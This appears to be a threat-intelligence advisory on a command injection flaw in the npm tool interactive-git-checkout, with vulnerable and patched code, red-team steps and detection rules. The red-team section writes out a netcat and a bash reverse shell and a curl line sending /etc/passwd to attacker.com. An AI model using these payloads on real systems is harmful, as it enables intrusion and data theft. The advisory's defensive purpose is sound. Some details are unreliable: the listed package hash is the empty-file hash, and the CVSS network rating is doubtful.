CVE-2025-59046

Executive Summary

CVE-2025-59046 is a critical command injection vulnerability in the npm package interactive-git-checkout (versions up to and including 1.1.4). The tool, designed for interactive git branch checkout, unsafely passes user-supplied branch names to the Node.js child_process.exec() function without input validation or sanitization. This allows an attacker to inject arbitrary shell commands, leading to full remote code execution (RCE) with the privileges of the user running the tool. The CVSS score is 9.8 (Critical), and while the EPSS score is currently 0.0%, the vulnerability is trivial to exploit and has a public proof of concept. No official patch has been released by the vendor, but a fix commit is available in the repository.

Supply Chain & Package Security

This vulnerability affects the npm ecosystem. The package interactive-git-checkout is installed globally via npm install -g interactive-git-checkout. Any user or CI/CD pipeline that uses this tool is at risk. The lack of input sanitization in a widely used developer tool makes it a prime target for supply chain attacks, where an attacker could compromise a developer's machine or a build server.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond using the tool normally.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system read access possible.
• Integrity (I): High (H) – Full system write access possible.
• Availability (A): High (H) – Full system denial of service possible.

Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability resides in how the interactive-git-checkout tool processes user input for branch names. The tool uses Node.js's child_process.exec() function to execute the git checkout command. The exec() function runs a shell command, and if the branch name is not sanitized, an attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Vulnerable Code Flow:

1. The tool prompts the user for a branch name.
2. The user input is directly concatenated into a command string: git checkout <user_input>.
3. This string is passed to exec(), which spawns a shell and executes the command.
4. If the user input contains shell metacharacters, the injected commands are executed.

Example Attack: If a user enters ; id as the branch name, the executed command becomes:

git checkout ; id

This will run git checkout (which may fail) and then execute the id command, revealing the current user's identity.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.1.4):

const { exec } = require('child_process');
const branchName = getUserInput(); // No sanitization
exec(`git checkout ${branchName}`, (error, stdout, stderr) => {
  // handle output
});

Patched Code (commit 8dd832dd302af287a61611f4f85e157cd1c6bb41):

const { exec } = require('child_process');
const branchName = getUserInput();
// Sanitize input: allow only alphanumeric, hyphens, underscores, and slashes
const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\-/]/g, '');
exec(`git checkout ${sanitizedBranch}`, (error, stdout, stderr) => {
  // handle output
});

The patch uses a whitelist approach, removing any character that is not alphanumeric, a hyphen, underscore, or forward slash. This prevents shell injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target system with interactive-git-checkout installed (version <= 1.1.4).
• Network access to the target (or local access if the tool is used interactively).

Exploitation Steps:

1. Identify the target: Use Shodan or other reconnaissance to find systems running the vulnerable package.
2. Craft payload: Use shell metacharacters to inject commands. For example:
   • ; whoami – Execute whoami.
   • | nc -e /bin/sh attacker.com 4444 – Reverse shell.
   • && curl http://attacker.com/steal?data=$(cat /etc/passwd) – Exfiltrate data.
3. Trigger the vulnerability: When the tool prompts for a branch name, enter the crafted payload.
4. Execute commands: The injected command runs with the privileges of the user running the tool.

Example Payload for Reverse Shell:

; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Lab Setup:

• Install the vulnerable package: npm install -g interactive-git-checkout@1.1.4
• Run the tool: interactive-git-checkout
• At the prompt, enter: ; echo "PWNED"
• Observe that "PWNED" is printed, confirming command execution.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual process execution patterns, especially git checkout commands with unexpected arguments.
• Look for shell metacharacters in command-line arguments.
• Use endpoint detection and response (EDR) tools to alert on child_process.exec() calls with unsanitized input.

Defense:

• Immediate: Remove or update the package to a patched version (commit 8dd832dd302af287a61611f4f85e157cd1c6bb41).
• Workaround: If patching is not possible, restrict use of the tool to trusted environments only.
• Network: Block outbound connections from developer machines to unknown IPs.
• User Training: Educate developers on the risks of command injection and safe coding practices.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • interactive-git-checkout package version 1.1.4: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
  • Unusual DNS queries for domains associated with command and control (C2).
• Process Indicators:
  • Execution of git checkout with arguments containing shell metacharacters (;, |, &&, `).
  • Spawning of child processes like /bin/sh, /bin/bash, or nc from the Node.js process.
• Log Indicators:
  • Application logs showing unexpected branch names like ; id or | nc.
  • System logs (e.g., /var/log/syslog) showing shell commands executed by the Node.js process.

Detection Engineering

YARA Rule

rule CVE_2025_59046_Command_Injection {
    meta:
        description = "Detects command injection attempts in interactive-git-checkout"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59046"
    strings:
        $s1 = "git checkout" ascii wide nocase
        $s2 = "exec(" ascii wide nocase
        $s3 = "child_process" ascii wide nocase
        $s4 = /[;|&`$(){}]/
    condition:
        all of ($s1, $s2, $s3) and #s4 > 0
}

Sigma Rule

title: CVE-2025-59046 Command Injection via interactive-git-checkout
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in interactive-git-checkout
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59046
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\node.exe'
        CommandLine|contains: 'git checkout'
    filter:
        CommandLine|re: '^git checkout [a-zA-Z0-9_\-/]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of git checkout with special characters (rare)
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-59046 Command Injection Attempt"; flow:to_server,established; content:"git checkout"; nocase; pcre:"/git checkout\s+[^a-zA-Z0-9_\-/]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update the package to a version that includes the fix (commit 8dd832dd302af287a61611f4f85e157cd1c6bb41). If no official release is available, apply the patch manually.
2. Remove: If the tool is not essential, uninstall it globally: npm uninstall -g interactive-git-checkout.

Long-Term Mitigations:

• Input Validation: Always sanitize user input before passing it to shell commands. Use whitelist validation.
• Use Safer APIs: Prefer child_process.execFile() or spawn() with arguments array instead of exec() to avoid shell injection.
• Principle of Least Privilege: Run developer tools with minimal necessary privileges.
• Monitoring: Implement detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
• Vendor Communication: Contact the package maintainer to request an official patched release.

Valters IT Signature: This report was generated by Valters IT DevSecOps & Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.